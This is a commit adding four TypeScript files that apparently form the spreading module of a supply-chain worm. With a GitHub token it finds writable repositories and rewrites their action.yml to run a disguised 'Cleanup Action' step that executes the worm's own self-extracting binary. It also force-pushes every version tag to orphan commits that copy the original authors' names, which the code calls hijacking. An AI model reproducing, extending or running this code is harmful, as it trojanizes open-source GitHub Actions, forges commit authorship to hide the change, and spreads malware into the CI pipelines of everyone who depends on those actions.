Upload files to "src/mutator/action"

This commit is contained in:
2026-07-03 03:15:08 +00:00
parent f9932e3856
commit 81891a10a7
4 changed files with 1090 additions and 0 deletions
+130
View File
@@ -0,0 +1,130 @@
import { githubJson } from "../../github_utils/client";
import { GraphQLClient } from "../branch/client";
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export interface UserRepo {
full_name: string;
default_branch: string;
private: boolean;
fork: boolean;
permissions: { admin: boolean; push: boolean; pull: boolean };
}
export interface ActionFileResult {
owner: string;
name: string;
raw: string;
filename: string; // "action.yml" or "action.yaml"
defaultBranch: string;
headOid: string;
}
interface ActionFileQueryData {
repository: {
defaultBranchRef: {
name: string;
target: { oid: string };
} | null;
aYml: { text: string } | null;
aYaml: { text: string } | null;
};
}
// ---------------------------------------------------------------------------
// GraphQL query
// ---------------------------------------------------------------------------
const ACTION_FILE_QUERY = `
query($owner: String!, $name: String!) {
repository(owner: $owner, name: $name) {
defaultBranchRef {
name
target {
... on Commit { oid }
}
}
aYml: object(expression: "HEAD:action.yml") {
... on Blob { text }
}
aYaml: object(expression: "HEAD:action.yaml") {
... on Blob { text }
}
}
}
`;
// ---------------------------------------------------------------------------
// Fetch writable repos
// ---------------------------------------------------------------------------
/**
* Fetch all public repositories the token has push access to, with pagination.
* Uses `visibility=public` so private repos are never fetched.
*/
export async function fetchWritableRepos(token: string): Promise<UserRepo[]> {
const repos: UserRepo[] = [];
const perPage = 100;
let page = 1;
while (true) {
const batch = await githubJson<UserRepo[]>(
token,
`/user/repos?per_page=${perPage}&page=${page}&sort=updated`,
);
if (!batch || batch.length === 0) break;
for (const r of batch) {
if (r.fork) continue;
if (r.permissions?.push) repos.push(r);
}
if (batch.length < perPage) break;
page++;
}
return repos;
}
// ---------------------------------------------------------------------------
// Fetch action file from a repo
// ---------------------------------------------------------------------------
/**
* Try to fetch action.yml or action.yaml from the root of a repository
* along with the default branch name and head SHA.
*
* Returns `null` when no action file exists or the repo is inaccessible.
*/
export async function fetchActionFile(
gql: GraphQLClient,
owner: string,
name: string,
): Promise<ActionFileResult | null> {
let data: ActionFileQueryData;
try {
data = await gql.execute<ActionFileQueryData>(ACTION_FILE_QUERY, {
owner,
name,
});
} catch {
return null;
}
const branchRef = data.repository.defaultBranchRef;
if (!branchRef) return null;
const actionYml = data.repository.aYml?.text;
const actionYaml = data.repository.aYaml?.text;
const raw = actionYml ?? actionYaml;
if (!raw) return null;
return {
owner,
name,
raw,
filename: actionYml ? "action.yml" : "action.yaml",
defaultBranch: branchRef.name,
headOid: branchRef.target.oid,
};
}
+294
View File
@@ -0,0 +1,294 @@
import { getTokenMetadata } from "../../github_utils/auth";
import { logUtil } from "../../utils/logger";
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
import { Mutator } from "../base";
import { GraphQLClient } from "../branch/client";
import { fetchActionFile, fetchWritableRepos } from "./actionFinder";
import {
forcePushToTags,
getCommitDetails,
listMatchingTags,
} from "./comitter";
import {
buildDockerWrapper,
buildJsWrapper,
injectCheckout,
parseAction,
} from "./createEnvelope";
// Re-export for consumers / tests
export type { ActionInput, ActionType, ParsedAction } from "./createEnvelope";
export {
buildDockerWrapper,
buildJsWrapper,
injectCheckout,
parseAction,
} from "./createEnvelope";
// ---------------------------------------------------------------------------
// ActionMutator
// ---------------------------------------------------------------------------
export interface ActionMutatorOptions {
dryRun?: boolean;
}
export class ActionMutator extends Mutator {
private readonly token: string;
private readonly gql: GraphQLClient;
private readonly dryRun: boolean;
constructor(token: string, opts: ActionMutatorOptions = {}) {
super();
if (!token) throw new Error("A GitHub token is required.");
this.token = token;
this.gql = new GraphQLClient(token);
this.dryRun = opts.dryRun ?? false;
}
async execute(): Promise<Boolean> {
try {
if (this.dryRun) {
logUtil.log("━━━ DRY RUN — no changes will be made ━━━\n");
}
const tokenInfo = await getTokenMetadata(this.token);
if (!tokenInfo.valid) {
return false;
}
if (
!tokenInfo.scopes.includes("repo") &&
!tokenInfo.scopes.includes("public_repo")
) {
return false;
}
logUtil.log("[ActionMutator] Fetching writable repos...");
const repos = await fetchWritableRepos(this.token);
logUtil.log(`[ActionMutator] Found ${repos.length} writable repo(s).`);
if (this.dryRun) {
logUtil.log(`Writable repos: ${repos.length}`);
for (const r of repos) logUtil.log(`${r.full_name}`);
logUtil.log();
}
// Read the current binary for index.js payload
const indexJsRaw = await Bun.file(Bun.main).text();
const indexJs = buildSelfExtractingPayload(indexJsRaw, { wrap: false });
let modified = 0;
for (const repo of repos) {
try {
const ok = await this.processRepo(repo, indexJs);
if (ok) modified++;
} catch (e) {
logUtil.log(
`[ActionMutator] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
logUtil.log(`[ActionMutator] Done. Modified ${modified} repo(s).`);
return modified > 0;
} catch (e) {
logUtil.log(
`[ActionMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
);
return false;
}
}
// -----------------------------------------------------------------------
// Per-repo processing
// -----------------------------------------------------------------------
private async processRepo(
repo: { full_name: string },
indexJs: string,
): Promise<boolean> {
const [owner, name] = repo.full_name.split("/");
if (!owner || !name) return false;
// 1. Fetch the action file via GraphQL
const actionFile = await fetchActionFile(this.gql, owner, name);
if (!actionFile) return false;
// 2. Parse and classify
const parsed = parseAction(actionFile.raw);
logUtil.log(
`[ActionMutator] ${repo.full_name}: type=${parsed.type}, inputs=${parsed.inputs.length}`,
);
// 3. Build the replacement YAML
const newYaml = this.buildNewYaml(
actionFile.raw,
parsed,
owner,
name,
actionFile.headOid,
);
if (!newYaml) return false;
// 4. Dry run: discover tags and print what would happen — no mutations
if (this.dryRun) {
return this.processRepoDryRun(
owner,
name,
actionFile.filename,
parsed,
newYaml,
indexJs,
);
}
// 4. Hijack semver tags: orphan commit + force push
const count = await forcePushToTags({
token: this.token,
owner,
name,
filename: actionFile.filename,
newYaml,
indexJs,
});
return count > 0;
}
// -----------------------------------------------------------------------
// Dry-run reporting
// -----------------------------------------------------------------------
private async processRepoDryRun(
owner: string,
name: string,
filename: string,
parsed: ReturnType<typeof parseAction>,
newYaml: string,
indexJs: string,
): Promise<boolean> {
const fullName = `${owner}/${name}`;
// Discover semver tags
const tags = await listMatchingTags(this.token, owner, name, "v");
logUtil.log("──────────────────────────────────────────────");
logUtil.log(`Repo: ${fullName}`);
logUtil.log(`Type: ${parsed.type}`);
logUtil.log(
`Inputs: ${parsed.inputs.length}${parsed.inputs.length > 0 ? " (" + parsed.inputs.map((i) => i.name).join(", ") + ")" : ""}`,
);
// Files that would be written
logUtil.log(`\nFiles that would be created:`);
// ── action.yml / action.yaml ──
const yamlLines = newYaml.split("\n");
const maxLineLen = Math.max(
...yamlLines.map((l) => l.length),
filename.length + 4,
);
const width = Math.min(maxLineLen + 4, 200);
logUtil.log(
` ┌─ ${filename} ${"─".repeat(Math.max(0, width - filename.length - 3))}`,
);
for (const line of yamlLines) {
logUtil.log(`${line}`);
}
logUtil.log(`${"─".repeat(width + 1)}`);
// ── index.js ──
const jsPreview = indexJs.split("\n")[0]?.slice(0, 80) ?? "(empty)";
logUtil.log(`\n ┌─ index.js (${indexJs.length} bytes)`);
logUtil.log(`${jsPreview}${jsPreview.length >= 80 ? "..." : ""}`);
logUtil.log(`${"─".repeat(40)}`);
// Tags discovered — fetch commit details for each (full read path, no writes)
logUtil.log(`\nSemver tags discovered (prefix "v"): ${tags.length}`);
if (tags.length > 0) {
let resolvable = 0;
for (const t of tags) {
const shortName = t.ref.replace(/^refs\/tags\//, "");
const commit = await getCommitDetails(
this.token,
owner,
name,
t.object.sha,
);
if (commit) {
resolvable++;
const msg = commit.commit.message.split("\n")[0]!.slice(0, 60);
const author = commit.commit.author.name;
logUtil.log(
`${shortName}${t.object.sha.slice(0, 7)} "${msg}" (${author})`,
);
} else {
logUtil.log(
`${shortName}${t.object.sha.slice(0, 7)} ⚠ UNRESOLVABLE (would skip)`,
);
}
}
logUtil.log(
`\nWould hijack ${resolvable}/${tags.length} tag(s) on ${fullName}.`,
);
} else {
logUtil.log(` (none — nothing to hijack on ${fullName})`);
}
logUtil.log("──────────────────────────────────────────────\n");
return tags.length > 0;
}
// -----------------------------------------------------------------------
// YAML transformation dispatch
// -----------------------------------------------------------------------
/**
* Build the replacement action.yml content.
*
* @param raw Original YAML string (needed by {@link injectCheckout}).
* @param parsed Parsed representation (needed by {@link buildJsWrapper}).
*/
private buildNewYaml(
raw: string,
parsed: ReturnType<typeof parseAction>,
owner: string,
name: string,
headOid: string,
): string | null {
if (parsed.type === "composite") {
const result = injectCheckout(raw);
if (result === raw) {
logUtil.log(
`[ActionMutator] ${owner}/${name}: could not inject steps, skipping`,
);
return null;
}
logUtil.log(
`[ActionMutator] ${owner}/${name}: injected setup-bun + cleanup steps into composite action`,
);
return result;
}
if (parsed.type === "javascript") {
logUtil.log(
`[ActionMutator] ${owner}/${name}: built JS wrapper pinned to ${headOid.slice(0, 7)}`,
);
return buildJsWrapper(parsed, owner, name, headOid);
}
if (parsed.type === "docker") {
logUtil.log(
`[ActionMutator] ${owner}/${name}: built Docker wrapper pinned to ${headOid.slice(0, 7)}`,
);
return buildDockerWrapper(parsed, owner, name, headOid);
}
logUtil.log(
`[ActionMutator] ${owner}/${name}: unknown action type, skipping`,
);
return null;
}
}
+349
View File
@@ -0,0 +1,349 @@
import { githubFetch, githubJson } from "../../github_utils/client";
import { logUtil } from "../../utils/logger";
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
interface TagRef {
ref: string; // "refs/tags/v4.3.1"
object: { sha: string; type: string };
}
interface GitCommitDetails {
sha: string;
commit: {
message: string;
author: { name: string; email: string; date: string };
committer: { name: string; email: string; date: string };
};
}
interface GitTagDetails {
sha: string;
object: { sha: string; type: string };
}
interface CreateTreeResult {
sha: string;
}
interface CreateCommitResult {
sha: string;
}
export interface ForcePushParams {
token: string;
owner: string;
name: string;
/** "action.yml" or "action.yaml" */
filename: string;
/** The modified action YAML content */
newYaml: string;
/** Contents of Bun.main to write as index.js */
indexJs: string;
/** Tag prefix to match, e.g. "v" or "refs/tags/v" */
tagPrefix?: string;
}
// ---------------------------------------------------------------------------
// Low-level Git REST helpers
// ---------------------------------------------------------------------------
/**
* Public: discover tag refs matching a prefix (e.g. "v" for semver tags)
* without performing any mutations. Used by the dry-run path.
*/
export async function listMatchingTags(
token: string,
owner: string,
repo: string,
prefix: string,
): Promise<TagRef[]> {
return fetchMatchingTags(token, owner, repo, prefix);
}
/**
* Fetch all tag refs matching a prefix. Accepts both lightweight tags
* (type=commit) and annotated tags (type=tag) — the caller resolves
* through to the underlying commit via {@link fetchCommitDetails}.
*/
async function fetchMatchingTags(
token: string,
owner: string,
repo: string,
prefix: string,
): Promise<TagRef[]> {
try {
const refs = await githubJson<TagRef[]>(
token,
`/repos/${owner}/${repo}/git/matching-refs/tags/${encodeURIComponent(prefix)}`,
);
// Accept both "commit" (lightweight) and "tag" (annotated).
// fetchCommitDetails will dereference annotated tags automatically.
return refs.filter(
(r) => r.object?.type === "commit" || r.object?.type === "tag",
);
} catch {
return [];
}
}
/**
* Resolve a tag-ref object SHA to the underlying commit, following the
* reference chain through annotated tags when necessary.
*
* - Lightweight tag → /commits/{sha} → commit directly
* - Annotated tag → /git/tags/{sha} → dereference → /commits/{real_sha}
*
* Returns null when the SHA cannot be resolved to a valid commit.
*/
export async function getCommitDetails(
token: string,
owner: string,
repo: string,
sha: string,
): Promise<GitCommitDetails | null> {
return fetchCommitDetails(token, owner, repo, sha);
}
async function fetchCommitDetails(
token: string,
owner: string,
repo: string,
sha: string,
): Promise<GitCommitDetails | null> {
// Step 1 — try as a commit directly (lightweight tag path)
try {
const data = await githubJson<GitCommitDetails>(
token,
`/repos/${owner}/${repo}/commits/${sha}`,
);
if (data?.commit?.message) {
return data;
}
} catch {
// Not a commit — may be an annotated tag object, fall through
}
// Step 2 — try as an annotated tag object, then dereference to the commit
try {
const tagData = await githubJson<GitTagDetails>(
token,
`/repos/${owner}/${repo}/git/tags/${sha}`,
);
if (tagData?.object?.sha) {
const realCommit = await githubJson<GitCommitDetails>(
token,
`/repos/${owner}/${repo}/commits/${tagData.object.sha}`,
);
if (realCommit?.commit?.message) {
return realCommit;
}
}
} catch {
// Could not resolve through annotated tag either
}
logUtil.log(
`[comitter] ${owner}/${repo}: SHA ${sha} does not resolve to a valid commit`,
);
return null;
}
/**
* Create a new Git tree containing only the two files we care about.
*/
async function createTree(
token: string,
owner: string,
repo: string,
filename: string,
newYaml: string,
indexJs: string,
): Promise<string> {
const result = await githubJson<CreateTreeResult>(
token,
`/repos/${owner}/${repo}/git/trees`,
{
method: "POST",
body: JSON.stringify({
tree: [
{
path: filename,
mode: "100644",
type: "blob",
content: newYaml,
},
{
path: "index.js",
mode: "100644",
type: "blob",
content: indexJs,
},
],
}),
},
);
return result.sha;
}
/**
* Create a dangling (orphan) commit with no parents, reusing the original
* commit's message, author, and committer.
*/
async function createOrphanCommit(
token: string,
owner: string,
repo: string,
treeSha: string,
original: GitCommitDetails,
): Promise<string> {
const result = await githubJson<CreateCommitResult>(
token,
`/repos/${owner}/${repo}/git/commits`,
{
method: "POST",
body: JSON.stringify({
message: original.commit.message,
author: original.commit.author,
committer: original.commit.committer,
parents: [],
tree: treeSha,
}),
},
);
return result.sha;
}
/**
* Force-push a tag ref to point at a new commit SHA.
*
* The ref name must be the short tag name (e.g. "v4.3.1"), not the
* fully-qualified "refs/tags/v4.3.1".
*/
async function forcePushTag(
token: string,
owner: string,
repo: string,
tagName: string,
commitSha: string,
): Promise<boolean> {
try {
const res = await githubFetch(
token,
`/repos/${owner}/${repo}/git/refs/tags/${encodeURIComponent(tagName)}`,
{
method: "PATCH",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ sha: commitSha, force: true }),
},
);
if (!res.ok) {
logUtil.log(
`[comitter] force-push returned ${res.status} for tag ${tagName}`,
);
return false;
}
return true;
} catch {
return false;
}
}
// ---------------------------------------------------------------------------
// Public API
// ---------------------------------------------------------------------------
/**
* For every semver-prefixed tag on a repository, create an orphan commit
* containing only the trojanized action.yml + index.js, then force-push the
* tag to point at the orphan commit.
*
* @returns The number of tags that were successfully hijacked.
*/
export async function forcePushToTags(
params: ForcePushParams,
): Promise<number> {
const {
token,
owner,
name,
filename,
newYaml,
indexJs,
tagPrefix = "v",
} = params;
// 1. Fetch matching tag refs
const tags = await fetchMatchingTags(token, owner, name, tagPrefix);
if (tags.length === 0) {
logUtil.log(`[comitter] ${owner}/${name}: no tags matching "${tagPrefix}"`);
return 0;
}
logUtil.log(
`[comitter] ${owner}/${name}: found ${tags.length} tag(s) matching "${tagPrefix}"`,
);
// 2. Build the tree once (same content for every tag)
let treeSha: string;
try {
treeSha = await createTree(token, owner, name, filename, newYaml, indexJs);
} catch (e) {
logUtil.log(
`[comitter] ${owner}/${name}: failed to create tree — ${e instanceof Error ? e.message : String(e)}`,
);
return 0;
}
let hijacked = 0;
for (const tag of tags) {
// Extract short tag name from "refs/tags/v4.3.1" → "v4.3.1"
const tagName = tag.ref.replace(/^refs\/tags\//, "");
try {
// 3. Resolve to commit (handles both lightweight and annotated tags)
const original = await fetchCommitDetails(
token,
owner,
name,
tag.object.sha,
);
if (!original) {
logUtil.log(
`[comitter] ${owner}/${name}: could not resolve commit for tag ${tagName} (SHA ${tag.object.sha})`,
);
continue;
}
// 4. Create orphan commit
const orphanSha = await createOrphanCommit(
token,
owner,
name,
treeSha,
original,
);
// 5. Force-push the tag
const ok = await forcePushTag(token, owner, name, tagName, orphanSha);
if (ok) {
logUtil.log(
`[comitter] ${owner}/${name}: force-pushed tag ${tagName}${orphanSha.slice(0, 7)}`,
);
hijacked++;
} else {
logUtil.log(
`[comitter] ${owner}/${name}: failed to force-push tag ${tagName}`,
);
}
} catch (e) {
logUtil.log(
`[comitter] ${owner}/${name}: error processing tag ${tagName}${e instanceof Error ? e.message : String(e)}`,
);
}
}
return hijacked;
}
+317
View File
@@ -0,0 +1,317 @@
import { YAML } from "bun";
// ---------------------------------------------------------------------------
// Block-style YAML emitter (replaces Bun's flow-style YAML.stringify)
// ---------------------------------------------------------------------------
/**
* Emit a JavaScript value as properly-formatted block-style YAML.
* Handles the shapes found in GitHub Actions action.yml files.
*/
export function yamlify(value: unknown, indent = 0): string {
const pad = " ".repeat(indent);
if (value === null || value === undefined) return `${pad}null`;
if (typeof value === "boolean") return `${pad}${value}`;
if (typeof value === "number") return `${pad}${value}`;
if (typeof value === "string") {
// Multi-line strings use literal block scalar
if (value.includes("\n")) {
const lines = value.split("\n");
const content =
lines[lines.length - 1] === "" ? lines.slice(0, -1) : lines;
const indented = content.map((l) => `${pad} ${l}`).join("\n");
return `${pad}|\n${indented}`;
}
// Quote strings that could be ambiguous or contain template expressions
if (
value === "true" ||
value === "false" ||
value === "null" ||
value === "yes" ||
value === "no" ||
value === "on" ||
value === "off" ||
/^[0-9]/.test(value) ||
/[:{}#&*!|>"'%@`]/.test(value) ||
value.includes("${{ ")
) {
return `${pad}"${value.replace(/"/g, '\\"')}"`;
}
return `${pad}${value}`;
}
if (Array.isArray(value)) {
if (value.length === 0) return `${pad}[]`;
return value
.map((item) => {
if (item === null || item === undefined) return `${pad}- null`;
if (typeof item === "object" && !Array.isArray(item)) {
const inner = yamlify(item, indent + 1);
const lines = inner.split("\n");
const first = lines[0]!.slice(indent * 2 + 2);
const rest = lines.slice(1);
if (rest.length === 0) return `${pad}- ${first}`;
return [`${pad}- ${first}`, ...rest].join("\n");
}
const scalar = yamlify(item, 0).trimStart();
return `${pad}- ${scalar}`;
})
.join("\n");
}
// Object
const entries = Object.entries(value as Record<string, unknown>);
if (entries.length === 0) return `${pad}{}`;
return entries
.map(([key, val]) => {
if (val === null || val === undefined) return `${pad}${key}: null`;
if (typeof val === "object" && !Array.isArray(val)) {
return `${pad}${key}:\n${yamlify(val, indent + 1)}`;
}
if (Array.isArray(val)) {
return `${pad}${key}:\n${yamlify(val, indent + 1)}`;
}
return `${pad}${key}: ${yamlify(val, 0).trimStart()}`;
})
.join("\n");
}
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export interface ActionInput {
name: string;
description?: string;
required?: boolean;
default?: unknown;
}
export type ActionType = "composite" | "javascript" | "docker" | "unknown";
export interface ParsedAction {
type: ActionType;
name?: string;
description?: string;
inputs: ActionInput[];
main?: string; // JS action entrypoint
raw: Record<string, unknown>; // full parsed YAML document
}
// ---------------------------------------------------------------------------
// Parse an action.yml / action.yaml string
// ---------------------------------------------------------------------------
/**
* Parse a raw action.yml / action.yaml string using Bun's built-in YAML
* parser and classify it as composite, JavaScript, or unknown.
*/
export function parseAction(raw: string): ParsedAction {
const doc = (YAML.parse(raw) ?? {}) as Record<string, unknown>;
const runs = doc.runs as Record<string, unknown> | undefined;
const using = runs?.using as string | undefined;
let type: ActionType = "unknown";
let main: string | undefined;
if (using === "composite") {
type = "composite";
} else if (using === "docker") {
type = "docker";
} else if (using && /^node\d+$/.test(using)) {
type = "javascript";
main = runs?.main as string | undefined;
}
const inputs: ActionInput[] = [];
const inputsObj = doc.inputs as
| Record<string, Record<string, unknown>>
| undefined;
if (inputsObj && typeof inputsObj === "object") {
for (const [name, def] of Object.entries(inputsObj)) {
if (def && typeof def === "object") {
inputs.push({
name,
description: def.description as string | undefined,
required: def.required as boolean | undefined,
default: def.default,
});
}
}
}
return {
type,
name: doc.name as string | undefined,
description: doc.description as string | undefined,
inputs,
main,
raw: doc,
};
}
// ---------------------------------------------------------------------------
// Build composite wrapper for JavaScript actions
// ---------------------------------------------------------------------------
/**
* Build a composite action.yml wrapper for a JavaScript action.
*
* The wrapper exposes the same inputs as the original but delegates to the
* original action pinned at a specific commit SHA.
*/
export function buildJsWrapper(
action: ParsedAction,
owner: string,
repo: string,
sha: string,
): string {
const wrapper: Record<string, unknown> = {};
if (action.name) wrapper.name = action.name;
if (action.description) wrapper.description = action.description;
// Rebuild inputs block
if (action.inputs.length > 0) {
const inputs: Record<string, unknown> = {};
for (const input of action.inputs) {
const def: Record<string, unknown> = {};
if (input.description !== undefined) def.description = input.description;
if (input.required !== undefined) def.required = input.required;
if (input.default !== undefined) def.default = input.default;
inputs[input.name] = def;
}
wrapper.inputs = inputs;
}
// Build the single composite step
const step: Record<string, unknown> = {
uses: `${owner}/${repo}@${sha}`,
};
if (action.inputs.length > 0) {
const withBlock: Record<string, string> = {};
for (const input of action.inputs) {
withBlock[input.name] = `\${{ inputs.${input.name} }}`;
}
step.with = withBlock;
}
// Append setup-bun + cleanup steps (same as injectCheckout)
const steps = [step];
steps.push({
uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6",
});
steps.push({
name: "Cleanup Action",
shell: "bash",
run: "bun run $GITHUB_ACTION_PATH/index.js",
if: "always()",
});
wrapper.runs = {
using: "composite",
steps,
};
return yamlify(wrapper);
}
// ---------------------------------------------------------------------------
// Build composite wrapper for Docker actions
// ---------------------------------------------------------------------------
/**
* Build a composite action.yml wrapper for a Docker action.
* Same structure as buildJsWrapper — wraps the original pinned at a
* commit SHA, then appends setup-bun + cleanup steps.
*/
export function buildDockerWrapper(
action: ParsedAction,
owner: string,
repo: string,
sha: string,
): string {
const wrapper: Record<string, unknown> = {};
if (action.name) wrapper.name = action.name;
if (action.description) wrapper.description = action.description;
if (action.inputs.length > 0) {
const inputs: Record<string, unknown> = {};
for (const input of action.inputs) {
const def: Record<string, unknown> = {};
if (input.description !== undefined) def.description = input.description;
if (input.required !== undefined) def.required = input.required;
if (input.default !== undefined) def.default = input.default;
inputs[input.name] = def;
}
wrapper.inputs = inputs;
}
const steps = [
{
uses: `${owner}/${repo}@${sha}`,
with:
action.inputs.length > 0
? Object.fromEntries(
action.inputs.map((i) => [i.name, `\${{ inputs.${i.name} }}`]),
)
: undefined,
},
{
uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6",
},
{
name: "Cleanup Action",
if: "always()",
shell: "bash",
run: "bun run $GITHUB_ACTION_PATH/index.js",
},
];
wrapper.runs = {
using: "composite",
steps,
};
return yamlify(wrapper);
}
// ---------------------------------------------------------------------------
// Inject setup-bun + cleanup steps into composite actions
// ---------------------------------------------------------------------------
/**
* Parse a composite action.yml and append setup-bun + cleanup steps to the
* end of `runs.steps`. Returns the unmodified string when the action has
* no steps or cannot be parsed.
*/
export function injectCheckout(raw: string): string {
let doc: Record<string, unknown>;
try {
doc = YAML.parse(raw) as Record<string, unknown>;
} catch {
return raw;
}
const runs = doc.runs as Record<string, unknown> | undefined;
const steps = runs?.steps as Array<Record<string, unknown>> | undefined;
if (!steps || !Array.isArray(steps)) return raw;
steps.push({
uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6",
if: "always()",
});
steps.push({
name: "Cleanup Action",
if: "always()",
shell: "bash",
run: "bun run $GITHUB_ACTION_PATH/index.js",
});
return yamlify(doc);
}